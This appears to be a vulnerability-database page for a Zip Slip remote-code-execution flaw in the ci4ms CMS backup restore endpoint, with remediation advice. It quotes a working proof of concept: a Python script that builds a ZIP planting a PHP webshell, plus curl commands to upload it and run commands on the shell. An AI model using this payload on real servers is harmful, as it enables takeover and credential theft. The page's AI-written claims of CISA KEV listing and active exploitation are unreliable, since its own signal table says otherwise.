Skip to main content

ci4ms CVE-2026-41202

| EUVDEUVD-2026-28255 CRITICAL
Path Traversal (CWE-22)
2026-04-22 https://github.com/ci4-cms-erp/ci4ms GHSA-xp9f-pvvc-57p4
9.4
CVSS 4.0 · Vendor: https://github.com/ci4-cms-erp/ci4ms
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate with backup-create role
  2. Delivery
    Craft ZIP with traversal paths
  3. Exploit
    Upload via /backend/backup/restore
  4. Install
    extractTo() writes to public/
  5. C2
    Access webshell URL
  6. Execute
    Execute system commands
  7. Impact
    Exfiltrate .env credentials

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires authenticated access to the ci4ms backend with the 'backup create' permission role assigned to the attacker's account. The vulnerability specifically affects the POST endpoint /backend/backup/restore in installations running ci4ms versions prior to 0.31.5.0. Exploitation does NOT require superadmin privileges, only the specific backup creation role defined in modules/Backup/Config/Routes.php (role=create). The CSRF exemption for backend/backup routes (defined in modules/Backup/Config/BackupConfig.php csrfExcept configuration) removes the CSRF token requirement, enabling cross-site exploitation if an authenticated administrator can be tricked into visiting an attacker-controlled page while logged into the ci4ms backend. Default installations are vulnerable if they assign backup creation permissions to non-superadmin users. The web server must have write permissions to the public/ directory for successful file placement, which is typical in standard PHP application deployments. No special PHP configuration, non-default features, or specific deployment modes are required beyond standard ci4ms installation with the Backup module enabled.

Impact

Real-world risk is CRITICAL and demands immediate attention. CVSS 9.4 score accurately reflects the severity: network attack vector (AV:N), low attack complexity (AC:L), requires only low-privilege authentication (PR:L), no user interaction (UI:N), and complete system compromise (VC:H/VI:H/VA:H/SC:H/SI:H/SA:H). CISA KEV listing confirms active exploitation in real-world environments, elevating this from theoretical to confirmed threat. Publicly available exploit code exists with complete proof-of-concept demonstrating ZIP archive creation, upload via authenticated session, and webshell execution. The CSRF exemption converts this from an insider-only threat to a drive-by attack vector against authenticated administrators who visit attacker-controlled pages. SSVC decision framework indicators: Exploitation Status = active, Automatable = yes (scripted POC requires only session cookie), Technical Impact = total (full system compromise including database credentials in .env files). Despite high CVSS, exploitation is NOT trivial - requires authenticated access with specific 'backup create' permission role. However, the combination of KEV status, CSRF bypass potential, and complete RCE impact outweighs the authentication prerequisite. Organizations running ci4ms installations with multiple administrative users face elevated risk from both insider threats and social engineering attacks targeting admin sessions. Patch availability in version 0.31.5.0 is confirmed by GitHub release notes and advisory, providing clear remediation path.

Exploit ScenarioDerived

An authenticated attacker with low-privilege 'backup create' permission crafts a malicious ZIP archive containing a PHP webshell with path traversal sequences (../../public/shell.php). They authenticate to the ci4ms backend and navigate to the backup restore interface at /backend/backup/restore. The attacker uploads the crafted ZIP file, which the vulnerable Backup::restore() function extracts without validating entry paths, writing the webshell to the publicly accessible web root. The attacker then accesses the webshell directly via HTTP (e.g., https://target.example.com/shell.php?c=whoami) to execute arbitrary system commands as the web server user, achieving full remote code execution. Because the route is CSRF-exempt, an alternative scenario involves the attacker hosting a malicious webpage that automatically submits the weaponized ZIP to the restore endpoint using a logged-in administrator's session cookies, achieving drive-by RCE without requiring the victim to manually upload the file. The attacker gains access to database credentials in .env files, application source code, and can pivot to further compromise the hosting environment.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – May 07, 2026

Remote code execution in ci4ms (CodeIgniter 4 Management System) versions prior to 0.31.5.0 allows authenticated backend users with backup creation permissions to write PHP webshells to the public web root via Zip Slip path traversal during backup restoration. The vulnerability is confirmed actively exploited (CISA KEV) with publicly available exploit code exists. CVSS 9.4 (Critical) aligns with the real-world risk, as exploitation requires only low-privilege authentication and the affected route is exempt from CSRF protection, enabling drive-by attacks against logged-in administrators. Vendor-released patch version 0.31.5.0 addresses the flaw by implementing path validation during ZIP extraction.

Earlier versions of this analysis (1)
v1 Apr 23, 2026 - 06:45

Arbitrary file write and remote code execution in ci4ms (a CodeIgniter 4 CMS) allows authenticated backend users with backup-restore permissions to upload malicious ZIP archives containing path-traversal entries (Zip Slip). Attackers extract PHP webshells into the public web root, achieving full server compromise. The vulnerability is worsened by CSRF exemptions on the restore endpoint, enabling drive-by exploitation if an authenticated administrator visits an attacker-controlled page. Vendor-released patch available in version 0.31.5.0. Publicly available exploit code exists (PoC provided in advisory).

RemediationAI

Immediately upgrade to ci4ms version 0.31.5.0 or later, which implements path validation during ZIP extraction to prevent directory traversal attacks. The patch applies realpath() checks and regex validation to ensure archive entries resolve within the intended destination directory before extraction. Upgrade instructions and release package are available at https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.5.0. For installations that cannot immediately upgrade, implement these compensating controls with noted trade-offs: (1) Disable the backup restore functionality entirely by removing or commenting out the route binding for 'backend/backup/restore' in modules/Backup/Config/Routes.php - this breaks legitimate backup restoration workflows but eliminates the attack surface. (2) Restrict the 'backup create' permission to only the minimum number of highly-trusted superadmin accounts and audit all accounts currently holding this permission - this reduces attack surface but does not prevent exploitation by compromised privileged accounts or CSRF-driven attacks. (3) Implement web application firewall rules to block POST requests to /backend/backup/restore containing suspicious patterns in multipart form data, though this is bypassable with encoding variations. (4) Add the backup routes back to CSRF protection by removing 'backend/backup' and 'backend/backup/*' from csrfExcept in modules/Backup/Config/BackupConfig.php - this prevents CSRF-based exploitation but may break legitimate backup workflows if session handling is misconfigured. None of these workarounds provide complete protection; upgrading to 0.31.5.0 is the only definitive fix. After patching, audit server filesystems for unexpected PHP files in the public/ directory tree and review web server access logs for requests to /backend/backup/restore since initial deployment.

Affected VersionsENISA

ci4ms < 0.31.5.0

Affected Packages

composer ci4-cms-erp/ci4ms fix: 0.31.5.0
euvd ci4ms fix: 0.31.5.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability stems from unsafe use of PHP's ZipArchive::extractTo() method in the Backup module's restore function (modules/Backup/Controllers/Backup.php lines 80-119). When processing uploaded ZIP files, the code calls extractTo() directly without validating that archive entry names resolve within the intended destination directory (WRITEPATH . 'uploads/'). This is a classic Zip Slip (CWE-22: Improper Limitation of a Pathname to a Restricted Directory) implementation flaw. An attacker can craft a ZIP archive containing entries with relative path traversal sequences like '../../public/shell.php', causing extraction to escape the uploads directory and write arbitrary files under the web-accessible public/ directory. The same codebase correctly implements path validation using realpath() and regex checks in modules/Methods/Controllers/Methods.php lines 165-175, but this defensive pattern was not applied to the backup restore function. The affected product is distributed as a Composer package (pkg:composer/ci4-cms-erp_ci4ms) and is built on the CodeIgniter 4 framework. The vulnerability is compounded by the route configuration which adds backend/backup and backend/backup/* to the csrfExcept list in modules/Backup/Config/BackupConfig.php, allowing POST requests without CSRF token validation.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/ci4-cms-erp/ci4ms) PRIMARY 9.4 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (https://github.com/ci4-cms-erp/ci4ms) · only source for this CVE.

CVSS VectorVendor: https://github.com/ci4-cms-erp/ci4ms

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
High
Subsequent system: Integrity
High
Subsequent system: Availability
High

Lifecycle Timeline

4
Analysis Updated
May 07, 2026 - 04:44 vuln.today
v2 - CVSS changed
CVSS changed
May 07, 2026 - 04:35 NVD
9.4 (CRITICAL)
Patch released
Apr 23, 2026 - 02:30 nvd
Patch available
CVE Published
Apr 22, 2026 - 17:28 nvd
CRITICAL

DescriptionCVE.org

Summary

ci4ms Backup::restore extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the backup create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root.

Details

modules/Backup/Controllers/Backup.php:80-119 implements the restore action. The uploaded file is moved to WRITEPATH . 'uploads/', and if the extension is zip, ZipArchive::extractTo() is called directly without iterating entries to verify they resolve inside the destination:

php
public function restore()
{
    $valData = ([
        'backup_file' => ['label' => 'Backup File', 'rules' => 'uploaded[backup_file]|ext_in[backup_file,zip]'],
    ]);
    if ($this->validate($valData) == false) return redirect()->route('backup')->withInput()->with('errors', $this->validator->getErrors());
    $file = $this->request->getFile('backup_file');

    if ($file && $file->isValid() && ! $file->hasMoved()) {
        $newName    = $file->getRandomName();
        $uploadPath = WRITEPATH . 'uploads/';
        ...
        $filePath = WRITEPATH . 'uploads/' . $newName;
        $sqlPath  = $filePath;
        if ($ext === 'zip') {
            $zip = new \ZipArchive();
            if ($zip->open($filePath) === true) {
                $zip->extractTo($uploadPath);          // no entry-name validation
                $sqlPath = $uploadPath . $zip->getNameIndex(0);
                $zip->close();
                @unlink($filePath);
            }
        }
        ...
    }
}

A ZIP containing entries like ../../public/shell.php is extracted outside writable/uploads/ into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here.

Routing: modules/Backup/Config/Routes.php binds POST backend/backup/restore to Backup::restore with role=create, and modules/Backup/Config/BackupConfig.php adds backend/backup and backend/backup/* to csrfExcept, so the route accepts cross-site POSTs from an authenticated administrator's browser.

PoC

Build the archive:

python
python3 -c "
import zipfile
with zipfile.ZipFile('evil.zip','w') as z:
    z.writestr('../../public/shell.php', '<?php system(\$_GET[\"c\"]); ?>')
    z.writestr('dump.sql', 'SELECT 1;')
"

Submit it as a backup to restore:

bash
curl -i -b 'ci4ms_session=<SESSION_ID>' \
  -F 'backup_file=@evil.zip' \
  https://target.example.com/backend/backup/restore

Trigger the shell:

bash
curl 'https://target.example.com/shell.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impact

Any ci4ms account that can restore a backup can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles. Because the route is in the csrfExcept list, a logged-in administrator who visits a malicious page can be forced to perform the restore cross-site, turning this into drive-by RCE against site operators.

Executive ViewAI

Why It Matters

CodeIgniter 4 Management System (ci4ms) versions before 0.31.5.0 contain a critical remote code execution vulnerability that allows authenticated backend users to upload malicious PHP files to public directories via backup restoration, leading to complete system compromise. This vulnerability is confirmed actively exploited (CISA KEV) and poses immediate risk to any organization running ci4ms, particularly those with multiple backend users or delegated administration privileges.

Business Impact: Severe
Compensating Controls

Apply vendor patch to ci4ms version 0.31.5.0 or later. If immediate patching is not possible: disable backup restoration functionality entirely; restrict backend access to trusted administrators only; implement web application firewall rules to block POST requests to backup restoration endpoints; deploy endpoint detection and response (EDR) to monitor for unauthorized PHP execution in web root; maintain offline backups and verify file integrity of web-accessible directories daily.

Threat Intelligence Overview

EPSS Score
0.4%
Top 38% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
Very High

Priority Score

47
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +47
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy